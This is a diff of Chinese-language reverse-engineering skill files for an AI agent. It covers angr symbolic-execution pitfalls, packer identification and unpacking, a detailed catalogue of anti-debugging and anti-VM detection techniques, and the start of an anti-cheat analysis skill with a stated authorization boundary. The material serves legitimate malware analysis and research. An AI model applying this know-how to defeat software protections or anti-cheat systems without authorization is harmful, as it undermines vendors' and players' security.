### 4. 循环题提速(hook + veritesting + 分段)
|
||||
|
||||
```
|
||||
hook 无关调用(sleep/memset/rand)→ simgr(veritesting=True)
|
||||
仍慢: 探索到循环边界地址 → 对循环体单独符号化展开(人工定位循环不变量)
|
||||
仍爆炸 → 换 [[re-z3]] 对已展开约束建模
|
||||
```
|
||||
|
||||
## 实现教训(内化)
|
||||
|
||||
- `auto_load_libs=False` 是默认建议:库加载既慢又让求解空间虚胖;样本带壳先脱壳([[re-deobfuscate]])再符号执行
|
||||
- find/avoid 的地址**按 angr 装载基址**填(PIE 与 Ghidra 显示基址差固定偏移),脚本头部注释标明换算关系
|
||||
- 求解出的值先 `repr()` 检查再重放:非打印字符常是符号化长度 < 实际读取长度
|
||||
- 涉及除法的表达式显式加"分母非零"约束(Z3 对 a/0 求值全 1)——见 [[gotchas]]
|
||||
- 探索超时用 `simgr.explore(..., timeout=...)` 或 `s.solver.eval(..., timeout=...)` 设秒级上限,别无限等
|
||||
- `eval(expr, cast_to=bytes)` 只对整字节宽符号有意义;逐字节用 `get_byte(i)`/`chop(8)`
|
||||
- 一个目标多轮求解时,脚本参数化(find/avoid/长度/通道放头部注释)逐参跑,别改一处全重写
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 求解过程在进程内仿真器完成,无需沙箱;**用求解结果运行目标验证时默认沙箱**([[re-analyze/platform-tips]] 最高原则)
|
||||
- 结果(地址/约束/求解脚本/flag)存档 sha256 + 路径([[re-triage]] 证据链);结论入 [[re-analyze/analysis-contract]]
|
||||
@@ -0,0 +1,45 @@
|
||||
# angr 工具特有坑与边界
|
||||
|
||||
## 版本与安装坑
|
||||
|
||||
- **Python 版本线**:**当前主线为 10.x;9.3.0 起要求 Python 3.12+**(PyPI `requires-python` 实测);**9.2.x 下限随补丁版本抬高**(9.2.91 要求 ≥3.8、9.2.203 已要求 ≥3.10),不能按「9.2.x」整线判断——装前以目标版本的 PyPI `requires-python` 为准(`pip index versions angr` 看可用版本);9.3 装到 3.11 会直接拒绝或编译失败,老的 9.2 装到 3.13 也可能无 wheel
|
||||
- **主版本间 API 变更**:angr 9.1(迁移文档有专页)改过 `SimState`/`state.posix` 等细节;网上旧教程(8.x 时代)的 `state.mem`、`simprocedures` 写法可能失效——以目标版本 docs 的 "Migrating to angr X" 为准
|
||||
- **binutils 依赖**:angr 处理/重写二进制(`angr.Project` 的 back-end 或 `angr.SimProcedure` 无关但 binary rewriting 相关操作)会调 `objcopy`——Linux 装 `binutils`,缺了报 `objcopy: command not found` 类错误
|
||||
- **Windows 支持边界**:Windows 下 pip 装 win32 wheel 可用,但部分 cle/ELF 后端与 fork 类操作受限;需要 ELF/arm 目标分析时优先 WSL 内装 Linux 版
|
||||
- **多环境共存**:angr 依赖树大(pyvex/unicorn/claripy 等),别往系统解释器塞——venv 隔离,升级先看依赖是否连带升
|
||||
|
||||
## 装载与地址坑
|
||||
|
||||
- **PIE 基址**:angr 默认按 0x400000 装载,Ghidra 按 0x100000 显示——find/avoid 地址必须换算(`p.loader.main_object.mapped_base` 核对实际基址)
|
||||
- **auto_load_libs 默认值**:新版本默认 `auto_load_libs=False` 而旧版本为 True——行为差异导致同一脚本结果不同;显式写参数,别依赖默认
|
||||
- **壳/静态链接目标**:带壳目标先脱壳([[re-unpack-simple]]);静态链接大二进制装载后状态数爆炸——hook 掉无关库函数入口
|
||||
- **架构/字节序**:arm/armeb/mips 目标 angr 支持但要注意字节序(`archinfo` 按 ELF header 自动选);`file target` 先确认再建 Project
|
||||
|
||||
## 求解语义坑
|
||||
|
||||
- **除零约束缺失**:Z3 对 `a/b` 分母为 0 求值为全 1(4294967295)——涉除法表达式显式加"分母非零"约束
|
||||
- **未初始化寄存器/内存被自动符号化**:`entry_state` 对未初始化值生成无约束符号,求解空间虚胖、结果含垃圾——`ZERO_FILL_UNCONSTRAINED_MEMORY`/`ZERO_FILL_UNCONSTRAINED_REGISTERS` 或显式设已知初值
|
||||
- **float/NaN**:浮点路径 Z3 与实机可能不一致(FP 舍入/NaN 语义)——浮点校验题优先人工还原或换 [[re-z3]] 单独建模
|
||||
- **eval 返回值的陷阱**:`eval(expr, cast_to=bytes)` 对非整字节宽符号(如 6 字节长度符号)按位宽对齐返回,多解时 `n=` 取多个逐一重放验证
|
||||
- **求解超时**:复杂约束集 eval 可能分钟级无回——`timeout=` 设上限,配合 `solver.min/max` 缩小搜索
|
||||
- **约束集合 ≠ 路径语义**:angr 求解器拿的是该状态累积路径约束,不是"程序全部行为"——求解出的输入必须沙箱内原样重放验证([[re-analyze/platform-tips]] 最高原则)
|
||||
|
||||
## SimProcedure 与 hook 坑
|
||||
|
||||
- **摘要不准**:strlen/malloc 等 SimProcedure 替代实现有 bug 或不完整,结果反直觉(错误返回值/绕过校验)——异常先怀疑摘要:禁用对应 hook 或 `project.hook` 自定义
|
||||
- **hook 未卸掉**:hook 分发器后执行跳回再次进 hook 死循环——跳到目标块后立即 unhook
|
||||
- **hook_symbol 与库调用路径**:`hook_symbol` 只影响按符号解析的调用;地址间接调用要 `project.hook(addr, ...)` 按地址挂
|
||||
- **cmovxx 不分裂分支**:angr 对 cmov 通过积累约束实现而非分裂两个状态——需要后继关系时手动 `state.copy()` 分裂并跳过 cmov 指令
|
||||
|
||||
## 性能与路径爆炸坑
|
||||
|
||||
- **符号化范围**:整段程序符号化是爆炸主因——只符号化校验真正读取的字节,入口尽量后移(blank_state)
|
||||
- **veritesting 双刃**:合并路径省状态但可能丢失分支精度(结果与不合并不同)——两个都跑对照
|
||||
- **stash 无上限**:默认 stash 不限制状态数——主动 `simgr.step()` 循环内检查 `len(active)` 或限制步数
|
||||
- **lazy_solves 与 prune**:路径多了先 `simgr.prune()` 剪无解路径,或开 `lazy_solves` 延后求解
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 求解在进程内仿真器完成(免沙箱);**用求解结果运行目标时默认沙箱**
|
||||
- 地址/约束/脚本/flag 全量存档([[re-triage]] 证据链),结论入 [[re-analyze/analysis-contract]]
|
||||
- 与 [[re-z3]] 的分工:需要精确约束集合而非一条路径时 z3 更轻;angr 求解慢时对约束子集转 z3
|
||||
201
vendor-new/rev-skills/.claude/skills/re-anti-analysis/SKILL.md
Normal file
201
vendor-new/rev-skills/.claude/skills/re-anti-analysis/SKILL.md
Normal file
@@ -0,0 +1,201 @@
|
||||
---
|
||||
name: re-anti-analysis
|
||||
type: gateway
|
||||
description: >
|
||||
反分析对抗网关。编排:壳识别 → 简单壳脱壳 → 强壳脱壳 → 反混淆。
|
||||
子技能:[[re-packer-id]] [[re-unpack-simple]] [[re-unpack-advanced]] [[re-deobfuscate]] [[re-evasion]]。
|
||||
触发词:脱壳、查壳、加壳识别、壳、UPX、VMProtect、Themida、反调试、反混淆、花指令、unpack、anti-analysis。
|
||||
capabilities: [unpack, deobfuscation, evasion-analysis]
|
||||
---
|
||||
|
||||
# 反分析对抗(壳识别 / 脱壳 / 反混淆)
|
||||
|
||||
## 完整工作流
|
||||
|
||||
1. **壳识别:[[re-packer-id]](能力:`unpack`)** —— 先识别再动手。DIE/PEiD 签名库扫描、节名异常(UPX0/.aspack/自定义)、入口点是否指向非首节、熵 >7、导入表极小。**先记 OEP 线索**(EP 附近 pushad 等壳入口特征),识别出的壳名决定路径
|
||||
2. **分派**:简单压缩壳(UPX/ASPack/FSG)→ [[re-unpack-simple]](能力:`unpack`);强壳/虚拟化壳(VMProtect/Themida)→ [[re-unpack-advanced]](能力:`unpack`);**识别不出 → 手动流程**(按 [[re-unpack-simple]](能力:`unpack`) 的 ESP 定律 + 内存断点手动找 OEP,或按强壳流程处理),不硬猜壳名
|
||||
3. **简单壳脱壳:[[re-unpack-simple]](能力:`unpack`)** —— 优先官方/自动解包(`upx -d`)→ ESP 定律 / 内存断点找 OEP → **按明文/代码 materialization 定转储时机**(单层壳常在真实 OEP 附近,OEP 非通用判据;时机见 [[re-analyze/platform-tips]] 关键经验,默认转储优先)→ IAT 修复(Scylla/ImpREC,Windows)
|
||||
4. **强壳脱壳:[[re-unpack-advanced]](能力:`unpack`)** —— 反调试对抗(scyllaHide 思路:NtQueryInformationProcess/时间差)→ 堆栈回溯/内存断点组合找 OEP → 转储(默认转储优先)→ IAT 修复(含重定向)→ 虚拟化代码区域标注(标记绕过而非还原)
|
||||
5. **反混淆:[[re-deobfuscate]](能力:`deobfuscation`)** —— 脱壳后若仍有花指令 / 控制流平坦化 / 字符串加密:花指令清除、平坦化还原(D-810/手动)、字符串解密循环定位与仿真、批量脚本化、还原前后对比验证
|
||||
6. **验证**:脱壳产物 sha256 存档 → 沙箱内复跑([[re-sandbox]](能力:`sandbox-setup`) 判定脱干净、[[re-analyze/platform-tips]] 最高原则)→ 导入 [[re-ghidra]](能力:`decompilation`、`debugging`) / [[re-ida]](能力:`decompilation`、`debugging`) 确认 OEP 处可正常反编译;导入表可解析才算完成。产物交回原调用域继续(恶意样本回 [[re-malware]](能力:`malware-behavior`、`document-malware`、`evasion-analysis`、`key-extraction`、`threat-intel`) 行为分析、破解目标转 [[re-cracking]](能力:`license-analysis`) 授权定位)
|
||||
|
||||
每步结果存档(证据路径 + sha256,见 [[re-triage]](能力:`triage`));壳指纹 / 脱壳产物是 [[re-ioc]](能力:`threat-intel`) YARA 特征来源。
|
||||
|
||||
## 反调试方法论(全库通用,见 [[re-analyze/analysis-contract]] 索引)
|
||||
|
||||
本网关适用的反调试分析方法论(用户实战经验),各技能坑与陷阱引用此处。
|
||||
|
||||
### 基础检测
|
||||
|
||||
- **AD1 启动即退出先查调试检测**:EP/TLS/初始化函数
|
||||
- **AD2 IsDebuggerPresent 不代表完整反调试**:组合检测,别只 patch 一点
|
||||
- **AD3 PEB BeingDebugged 用户态快速检测**:找 PEB 访问/BeingDebugged/NtGlobalFlag
|
||||
- **AD4 NtGlobalFlag 异常→查堆调试标志**
|
||||
- **AD5 CheckRemoteDebuggerPresent 不可靠**:可能被 hook/替换/底层
|
||||
- **AD6 NtQueryInformationProcess 是重点**:ProcessDebugPort/ProcessDebugObjectHandle/ProcessDebugFlags
|
||||
- **AD24 断 WinAPI 没命中 → 可能直接走 Native API**:程序不一定调用 IsDebuggerPresent 等高层 API,可能直接调用 NtQueryInformationProcess、NtSetInformationThread、Zw 系列。分析时向下追。
|
||||
|
||||
### 异常机制
|
||||
|
||||
- **AD7 异常没崩溃→可能反调试**:INT3/INT 2D/单步异常
|
||||
- **AD32 INT3 不止一种形式**:CC vs CD 03 长断点,异常行为不同
|
||||
- **AD33 INT 2D 是 Windows 特殊反调试点**:调试器下/正常运行行为不同
|
||||
- **AD34 ICE 指令检测单步**:F1 ICEBP
|
||||
- **AD26 异常断点行为异常→查 VEH**:AddVectoredExceptionHandler——INT3 被主动处理/单步异常被吞/异常后继续运行
|
||||
- **AD27 SEH 链异常→可能反调试控制流**:控制跳转/隐藏流程/检测 debugger
|
||||
|
||||
### 时间检测
|
||||
|
||||
- **AD8 断点后行为变化→查 Trap Flag**:EFLAGS/异常次数
|
||||
- **AD9 时间突然变慢→查时间反调试**:QPC/GetTickCount/timeGetTime/RDTSC
|
||||
- **AD10 RDTSC 检测不要只看一次读取**:start-end delta、比较阈值、分支位置
|
||||
- **AD11 Sleep 检测→查时间加速**:Sleep(5000)+检查实际经过时间——调试环境/沙箱加速/时间跳跃
|
||||
- **AD35 时间检测不只 RDTSC**:RDTSCP/QPC/GetTickCount64/APIC timer
|
||||
|
||||
### 环境与工具特征
|
||||
|
||||
- **AD12 窗口/鼠标检测→环境真实性**:自动化沙箱
|
||||
- **AD16 调试器窗口检测低级但常见**:OllyDbg/x64dbg/WinDbg/IDA 窗口类或进程名
|
||||
- **AD17 进程列表检测→查工具指纹**:debugger/monitor/sandbox,易误报
|
||||
- **AD38 窗口检测只是低级手段**:高级样本更倾向 API 行为/内存特征/异常行为
|
||||
- **AD39 父进程检测**:explorer→app vs debugger→app 启动链
|
||||
- **AD40 命令行检测**:debugger/sandbox/分析环境参数
|
||||
- **AD31 程序只在 x64dbg 崩→查调试器特征**:x64dbg 模块/窗口类/DLL 名称/内存特征
|
||||
- **AD36 CPU 特征检测可能用于反调试**:程序可能读取 CPUID、MSR、TSC 特性,用于区分真实机器、VM、调试环境。
|
||||
|
||||
### 硬件痕迹
|
||||
|
||||
- **AD29 硬件断点也失效→可能检测 DR 寄存器**:DR0-DR3/DR7 或异常行为
|
||||
- **AD43 调试寄存器不是唯一硬件痕迹**:DR/LBR/性能计数器状态
|
||||
- **AD15 硬件断点检测→查 DR 寄存器**:DR0-DR3/DR6/DR7
|
||||
|
||||
### 线程与调试对象
|
||||
|
||||
- **AD25 线程突然消失→查 NtSetInformationThread**:ThreadHideFromDebugger——主线程正常/逻辑断点无效/调试器看不到异常
|
||||
- **AD30 调试器暂停后逻辑变化→查 Debug Object**:ProcessDebugObjectHandle
|
||||
- **AD37 调试器导致线程调度变化**:线程执行顺序/锁竞争/APC 调度
|
||||
|
||||
### 自修改与断点
|
||||
|
||||
- **AD13 断点被清除→查硬件断点/自校验**:0xCC 检测——校验代码段/比较 hash/扫描 0xCC
|
||||
- **AD14 代码执行后恢复原样→可能是自修改**:静态内容≠实际执行内容,需内存 dump/执行跟踪
|
||||
- **AD28 断点后代码改变→检查 self-modifying code**:55 8B EC→CC 8B EC——校验代码/恢复字节/主动检测断点
|
||||
|
||||
### 深层检测
|
||||
|
||||
- **AD41 PEB 检测不仅是 BeingDebugged**:NtGlobalFlag/ProcessHeap flags/HeapForceFlags
|
||||
- **AD42 内核调试检测**:KdDebuggerEnabled/KdDebuggerNotPresent
|
||||
- **AD44 反调试可能故意制造假逻辑**:返回错误数据/修改算法结果/延迟执行/跳过关键逻辑——比退出更常见
|
||||
- **AD21 内核级反调试→用户态 patch 无效**:驱动/内核回调/内核对象检查需分析内核路径
|
||||
- **AD22 反虚拟化≠反调试**:目标不同——观察者 vs 分析环境,不要混为一谈
|
||||
|
||||
### 方法论
|
||||
|
||||
- **AD18 TLS Callback 比 Entry Point 更早执行**:入口断点没触发反调试→查 TLS
|
||||
- **AD23 入口断点没触发 → 不一定没执行,可能被 TLS callback 抢先**:Windows PE 的 TLS callback 可以在 Entry Point 前执行代码。遇到程序启动即退出、入口断点无效,优先检查 TLS Directory。典型场景:anti-debug 初始化、壳初始化、环境检测。
|
||||
- **AD19 反调试逻辑不要急着 patch**:先确认检测结果如何影响控制流——退出/降功能/假数据/延迟
|
||||
- **AD20 多点反调试→找汇聚点**:多个检测汇聚到一个 flag/状态变量/错误处理函数
|
||||
- **AD45 Patch 反调试点可能触发完整性检测**:JNZ→JMP/CALL→NOP 触发 CRC/hash/self-check,先找检测链
|
||||
|
||||
## 反虚拟化方法论(全库通用,见 [[re-analyze/analysis-contract]] 索引)
|
||||
|
||||
本网关适用的反虚拟化分析方法论(用户实战经验),各技能坑与陷阱引用此处。
|
||||
|
||||
### 指令级与固件信息检测
|
||||
|
||||
- **AV-001 CPUID hypervisor 位检测**
|
||||
- **Trigger**:程序执行 CPUID leaf 1,检查 ECX bit 31(hypervisor present bit)
|
||||
- **Observation**:ECX bit 31 置位,表明当前运行在 hypervisor 之下
|
||||
- **Inference**:样本在探测虚拟化环境——反虚拟化检测最常见的起点
|
||||
- **Action**:继续 CPUID vendor leaf(0x40000000)确认 hypervisor 类型(Microsoft Hv / VMwareVMware / KVMKVMKVM 等)
|
||||
- **Constraint**:hypervisor_present ≠ 一定是恶意分析环境——云主机与正常用户系统同样有 hypervisor,仅凭该位不能断定是分析环境
|
||||
- **AV-002 注册表 BIOS/System 信息**
|
||||
- **Trigger**:程序读取注册表 BIOS/System 信息(Manufacturer / ProductName / BIOS Version)
|
||||
- **Observation**:读取值被用于关联 VMware / VirtualBox / Hyper-V 特征字符串
|
||||
- **Inference**:注册表固件信息是 VM fingerprinting 的常见来源
|
||||
- **Action**:定位读取点与特征字符串匹配逻辑,收集全部命中的 VM 特征项
|
||||
- **Constraint**:单个字符串命中不能作为 VM 判断依据——需多特征联合判定
|
||||
|
||||
### 时间与硬件特征
|
||||
|
||||
- **AV-003 Sleep 前后时间差**
|
||||
- **Trigger**:Sleep 前后实测时间差明显短于预期
|
||||
- **Observation**:样本 Sleep(N) 后检查实际经过时间,明显小于 N——时间被加速/压缩
|
||||
- **Inference**:样本可能检测沙箱时间加速/虚拟化时间(计时 API 被 hook 或时钟被加速)
|
||||
- **Action**:跟踪 RDTSC / QPC / GetTickCount 来源——定位时间读数点与差值计算逻辑,确认样本所用时钟源
|
||||
- **Constraint**:时间检测常多点组合(RDTSC 配 CPUID 强制 VM exit、GetTickCount / QPC 交叉验证),别只处理一处
|
||||
- **AV-004 硬件设备枚举**
|
||||
- **Trigger**:程序枚举硬件设备(PCI / Disk model / GPU name)
|
||||
- **Observation**:枚举结果与虚拟机硬件型号特征比对
|
||||
- **Inference**:VM fingerprinting——硬件设备型号是常见 VM 指纹来源
|
||||
- **Action**:建立硬件特征集合而非单点判断——列出全部被检查的硬件项,按集合整体评估
|
||||
- **Constraint**:单一硬件特征(如某块 disk model)不足以判定 VM,需特征集合联合评估
|
||||
|
||||
### 环境评分与交互检测
|
||||
|
||||
- **AV-005 检测结果汇聚统一变量**
|
||||
- **Trigger**:多个 VM 检测函数的检测结果写入统一变量(is_vm / sandbox_score / env_flag)
|
||||
- **Observation**:多处检测代码汇聚到同一变量/状态
|
||||
- **Inference**:样本采用环境评分机制——多检测项计数/加权汇成环境评分
|
||||
- **Action**:追踪汇聚变量——在变量读写处下断或静态追 xref,避免逐检测点分析
|
||||
- **Constraint**:只看单个检测点会漏掉整体评分逻辑——评分阈值与组合方式是关键
|
||||
- **AV-006 用户交互检测**
|
||||
- **Trigger**:程序检测用户交互(鼠标 / 键盘 / uptime / 窗口活动)
|
||||
- **Observation**:样本检查鼠标移动、键盘输入、系统 uptime、窗口活动等交互痕迹
|
||||
- **Inference**:样本试图区分真实用户与自动沙箱——交互痕迹属于行为级环境指纹
|
||||
- **Action**:转向行为级分析而非硬件指纹——交互相关分支需动态配合(模拟交互或真实环境观察)
|
||||
- **Constraint**:交互检测多为行为级,纯静态难以完整还原——需与动态观察结合
|
||||
|
||||
### 虚拟化通道与执行路径
|
||||
|
||||
- **AV-007 VMware 专有通道调用**
|
||||
- **Trigger**:程序调用 VMware backdoor / Guest Additions / vmtools
|
||||
- **Observation**:样本访问 VM 专有通道(VMware I/O port backdoor、vmtools 服务/进程、Guest Additions 模块)
|
||||
- **Inference**:高概率虚拟化检测——这些通道只在虚拟机环境中真实存在
|
||||
- **Action**:确认调用结果如何影响控制流——定位 backdoor 调用点与返回值使用位置,再决定 patch 策略
|
||||
- **Constraint**:检测到 VM 通道不一定会退出——先看检测结果流向再动手
|
||||
- **AV-008 检测结果影响执行路径**
|
||||
- **Trigger**:检测结果影响执行路径——VM 环境进入不同分支
|
||||
- **Observation**:检测为"是 VM"与"非 VM"走向不同代码分支
|
||||
- **Inference**:反虚拟化不仅用于退出——可能改变样本行为(假逻辑 / 降功能 / 不同载荷)
|
||||
- **Action**:分析两个分支差异——对比 VM / 非 VM 两条路径的代码与数据,别只 patch 检测点
|
||||
- **Constraint**:与反调试假逻辑同理(见反调试方法论 AD44)——patch 后别直接信任输出
|
||||
|
||||
## 何时用哪个原子技能(选择树)
|
||||
|
||||
**先识别、再选脱壳路径;识别不出走手动流程。**
|
||||
|
||||
- **输入是未知样本 / 怀疑带壳** → [[re-packer-id]](能力:`unpack`) 识别 → 按结果分支(不跳步)
|
||||
- 识别出简单压缩壳(UPX / ASPack / FSG 等)→ [[re-unpack-simple]](能力:`unpack`)
|
||||
- 识别出强壳 / 虚拟化壳(VMProtect / Themida 等)→ [[re-unpack-advanced]](能力:`unpack`)
|
||||
- **识别不出壳名**(无签名匹配)→ 手动流程:先按 [[re-unpack-simple]](能力:`unpack`) 的 ESP 定律 + 内存断点尝试;失败或发现反调试/虚拟化特征 → [[re-unpack-advanced]](能力:`unpack`) 手动脱壳
|
||||
- **目标只是确认壳**("这是什么壳")→ [[re-packer-id]](能力:`unpack`) 即可,不进入脱壳
|
||||
- **脱壳后仍有代码混淆**(花指令 / 平坦化 / 字符串加密)→ [[re-deobfuscate]](能力:`deobfuscation`)
|
||||
- **目标已确认无壳** → 不需要本网关,转 [[re-binary-core]](能力:`decompilation`、`debugging`、`memory-dump`、`elf-parser`、`pe-parser`、`macho-parser`;[[re-ghidra]](能力:`decompilation`、`debugging`) / [[re-ida]](能力:`decompilation`、`debugging`) / [[re-radare2]](能力:`decompilation`))直接分析
|
||||
- **检测规避/EDR 对抗(AMSI/ETW 绕过、无文件、lolbin 链,样本被检测"为什么")** → [[re-evasion]](能力:`evasion-analysis`;动态优先,配 [[re-sandbox]](能力:`sandbox-setup`) / [[re-memdump]](能力:`memory-dump`))
|
||||
- 脱壳全程需要读进程内存 → [[re-memdump]](能力:`memory-dump`;默认转储,按 materialization 定时机);Windows 调试 → [[re-x64dbg]](能力:`debugging`);Linux/Wine 调试 → [[re-gdb]](能力:`debugging`)
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- 恶意样本加壳:[[re-malware]] → 本网关(packer-id → unpack-*),脱壳产物回沙箱复跑再行为分析
|
||||
- 破解前置:[[re-cracking]] → 本网关(带壳先脱壳,再定位授权逻辑),授权定位产物供补丁/注册机
|
||||
- 移动加固:[[re-mobile]] / [[re-apk]] → 本网关(Android 加固脱壳)
|
||||
- 静态发现壳:[[re-binary-core]] / [[re-format-pe]] / [[re-format-elf]] / [[re-imports]](导入表极小/壳隐藏导入)→ 转入本网关
|
||||
- 动态辅助:[[re-gdb]](断 OEP、Wine 下脱壳)、[[re-x64dbg]](Windows OEP + Scylla)、[[re-memdump]](默认转储,按 materialization 定时机)、[[re-tracing]](反调试样本检测 trace 环境时配合)
|
||||
- 脱壳产物验证必须沙箱:[[re-sandbox]]([[re-analyze/platform-tips]] 最高原则)
|
||||
- 壳层常量污染指纹:[[re-crypto-id]] 加壳样本先脱壳再做常量表指纹
|
||||
- 检测规避对抗:[[re-evasion]] —— 壳/混淆是"静态反分析",AMSI/ETW/无文件/lolbin 是"检测对抗",同属本网关(动态分析强制 [[re-sandbox]])
|
||||
- 本网关被 [[re-analyze]] 的 triage「样本带壳 / 脱壳」路径调用(re-anti-analysis → packer-id → unpack-* → 验证)
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **跳过识别直接脱**:现象——拿样本就上调试器/OEP 流程,撞上强壳反调试或浪费时间;原因——没先判壳类别;对策——先 [[re-packer-id]] 识别,简单壳自动解包秒解,强壳才值得上手动流程
|
||||
- **转储时机过早**:现象——dump 出来还是壳的初始状态(压缩/加密数据),脱了个寂寞;原因——明文/代码尚未 materialize 就转储;对策——单层壳在真实 OEP 附近通常合适,但 OEP 非通用判据,多阶段/按需解密/虚拟化/反射加载等按「写→执行转移 + 内存保护变化 + payload 头/导入恢复」定 dump 点([[re-analyze/platform-tips]] 关键经验,默认转储优先)
|
||||
- **IAT 不修当成品**:现象——脱壳后导入表乱,Ghidra/IDA 反编译一片混沌;原因——导入表在壳内动态重建,转储未修复;对策——Windows 上 Scylla/ImpREC 修复,修复后重新反编译验证
|
||||
- **壳套壳**:现象——脱完一层发现里面还有一层(UPX 里包 Themida 等);原因——多层加壳是常见反分析手法;对策——脱一层验证一层(sha256 + 导入表 + 沙箱复跑),套层时回到第 1 步重新识别
|
||||
- **反调试干扰整个流程**:现象——调试器断点不生效、进程退出、时序错乱;原因——样本检测调试器(NtQueryInformationProcess、时间差、调试端口);对策——[[re-unpack-advanced]] 反调试对抗先行(scyllaHide 思路),先攻最外层检测
|
||||
- **OutputDebugString 计时陷阱**:现象——样本调用 `OutputDebugStringA/W` 后行为不同,或调试器下某段代码明显变慢触发时间检测;原因——调试器处理 ODS 消息有固定慢路径(接收-格式化-刷新),样本以长字符串 ODS 调用的耗时差异当调试器探针(2024-2025 恶意样本仍在使用);对策——定位 ODS 调用点断住/绕过(返回假值或直接跳过),或 scyllaHide 隐藏 ODS 处理,与时间差检测(AD9)一并排查
|
||||
|
||||
- **高熵≠加密**:现象——`.of2` 这类节 4KB 熵 7.9 判"整体加密",静态放弃;原因——可能是压缩(deflate 无标准头)、VMProtect 变异代码、或纯数据;对策——**分区采样**(入口区 64B 熵可能只有 5.6 是真代码),先排除压缩与变异再谈加密;变异代码特征:`ror/xor 链 + 跨区 jmp`、顺序解码出现 `fcom/int 88h/ret far` 类垃圾但入口 24 字节是 call/syscall 结构
|
||||
- **调试体系全链路(反调试点位)**:现象——不理解"附加为什么让程序暂停"、不知道反调试该改哪里;原因——缺 Windows 调试体系全链路认知;对策——链路:`DebugActiveProcess`→`DbgUiConnectToDbg`(创建 DEBUG_OBJECT 先挂调试器,句柄存 `TEB->DbgSsReserved[1]`(偏移 0x16A8))→`NtDebugActiveProcess`→`DbgkpSetProcessDebugObject`(被调试进程挂上)+`DbgkpPostFake*Messages`(附加时刷屏的"创建线程/加载 dll"假消息);调试事件流:被调试进程检测被调试→创建 DEBUG_EVENT 挂入 EventList 双向链表→置位 EventsPresent 信号量唤醒调试器→死等 ContinueEvent;**反调试点**:`DbgUiRemoteBreakIn` 创建远程线程执行 int3 让程序断下(去掉该 int3 则附加断不下来);TEB+0x16A8 是调试对象句柄(检测/篡改干扰调试器);异常先发给调试器(`DbgkSendApiMessage`→`DbgkpQueueMessage`,flag=0 需等待 vs NOWAIT 假消息)
|
||||
- **so 函数级加密(dlsym 运行时解密)**:现象——so 里个别函数(如 `mymyadd`)反编译是乱码/未定义指令,其余正常;原因——so 加固把目标函数按符号名加密:函数代码段静态是密文,运行时 `dlopen`+`dlsym` 前先解密覆盖、调用完再加密回去;对策——还原思路:dlsym 符号解析链(`__loader_dlsym`→`dlsym_impl`→`do_dlsym`→`dlsym_handle_lookup`→`find_symbol_by_name`,GNU hash / ELF hash 二选一:GNU hash 需算 `gnu_hash` + 布隆过滤器 + 从 PT_DYNAMIC 找符号表),按 ELF 头→程序头表→PT_DYNAMIC 定位符号表与哈希表计算函数位置与大小;动态侧:断 `dlopen`/`dlsym` 返回后、解密后的函数内存处 dump(转储时机关键经验);变体:段头 type 逐段 XOR(MODE_DUPLEX)需要自定义 linker 加载才能跑;还有对 `.text` 整体加密后自解密——先确认是函数级还是段级再选方案
|
||||
106
vendor-new/rev-skills/.claude/skills/re-anti-cheat/SKILL.md
Normal file
106
vendor-new/rev-skills/.claude/skills/re-anti-cheat/SKILL.md
Normal file
@@ -0,0 +1,106 @@
|
||||
---
|
||||
name: re-anti-cheat
|
||||
description: >
|
||||
反作弊对抗分析:EAC/BattlEye 驱动、内存校验、检测机制还原。
|
||||
触发词:反作弊、EAC、BattlEye、内存校验、anti-cheat
|
||||
capabilities: [kernel-analysis]
|
||||
---
|
||||
|
||||
# 反作弊对抗分析(EAC / BattlEye / 内存校验)
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:分析反作弊组件(EAC / BattlEye / Vanguard 等)的驱动与服务、检测机制如何工作
|
||||
- 用:游戏进程被反作弊拒绝/踢出后,理解"检测到了什么"(防御与研读视角)
|
||||
- 用:反作弊驱动的静态逆向(DriverEntry、IRP、内存校验逻辑)与内核调试观察
|
||||
- 不用:制作或分发作弊程序 / 在真实游戏环境实施绕过(**明确禁止,见授权边界**)
|
||||
- 不用:只是游戏自身逻辑(内存修改、CE)→ [[re-game]]
|
||||
- 不用:普通驱动分析([[re-kernel]]);用户态反调试([[re-evasion]])
|
||||
- **授权边界(必读)**:本技能仅限授权研究——自有设备、自有游戏账号、实验室环境、已获书面许可的安全研究。禁止:制作/分发作弊软件、在在线游戏中使用绕过手段获取不当优势、将检测机制分析用于破坏。所有动态实验在隔离沙箱([[re-analyze/platform-tips]] 最高原则)内进行;分析结论以防御与研究视角产出(理解检测面 → 改进检测),不产出可操作的绕过工具。
|
||||
|
||||
## 工具准备
|
||||
|
||||
反作弊分析=驱动逆向 + 内核调试,全程隔离沙箱([[re-analyze/platform-tips]] 最高原则)。所有工具先验证再使用。
|
||||
|
||||
### 驱动分析底座([[re-kernel]])
|
||||
|
||||
- 驱动静态:DriverEntry / IRP 分派 / 回调还原方法见 [[re-kernel]]「操作步骤」
|
||||
- 反编译:[[re-ghidra]](默认,导入 .sys 后 Data Type Manager 载入内核类型)
|
||||
- 验证: 导入 EAC/BE 驱动 .sys 后 DriverEntry 能反编译
|
||||
|
||||
### 内核调试([[re-windbg]])
|
||||
|
||||
- 双机/VM 串口(COM Named Pipe)或 KDNET 配置见 [[re-windbg]]「工具准备」
|
||||
- **内核调试是观察反作弊驱动内核侧执行路径的主要手段**——不是整个反作弊系统唯一的动态手段(用户态组件另有观测面,见坑 1)
|
||||
- 验证: 内核会话 `lm` 能看到目标反作弊驱动模块,`.reload /f <驱动名>` 加载符号
|
||||
|
||||
### 用户态快速定位([[re-x64dbg]] / [[re-windbg]])
|
||||
|
||||
- [[re-x64dbg]]:受保护进程之外的辅助组件(加载器、服务端)快速查看
|
||||
- 目标可能带 PPL 保护但**非必然**——先查真实 protection level 再判定(`GetProcessInformation(..., ProcessProtectionLevelInfo, ...)` / Process Explorer / WinDbg),只有非 `PROTECTION_LEVEL_NONE` 才是 PPL(见坑 1)
|
||||
- 验证: `x64dbg` 能打开普通目标 exe
|
||||
|
||||
### 系统工具(服务/驱动枚举)
|
||||
|
||||
- Windows 内置:`sc query` / `driverquery` / `fltmc`(文件系统过滤驱动列表)
|
||||
- Sysinternals(微软官网): Process Explorer(`process explorer` 查看受保护进程标记)、Sysmon
|
||||
- 验证: `driverquery` 输出驱动列表;`sc query EasyAntiCheat`(EAC 服务名按版本变化)
|
||||
|
||||
## 操作步骤
|
||||
|
||||
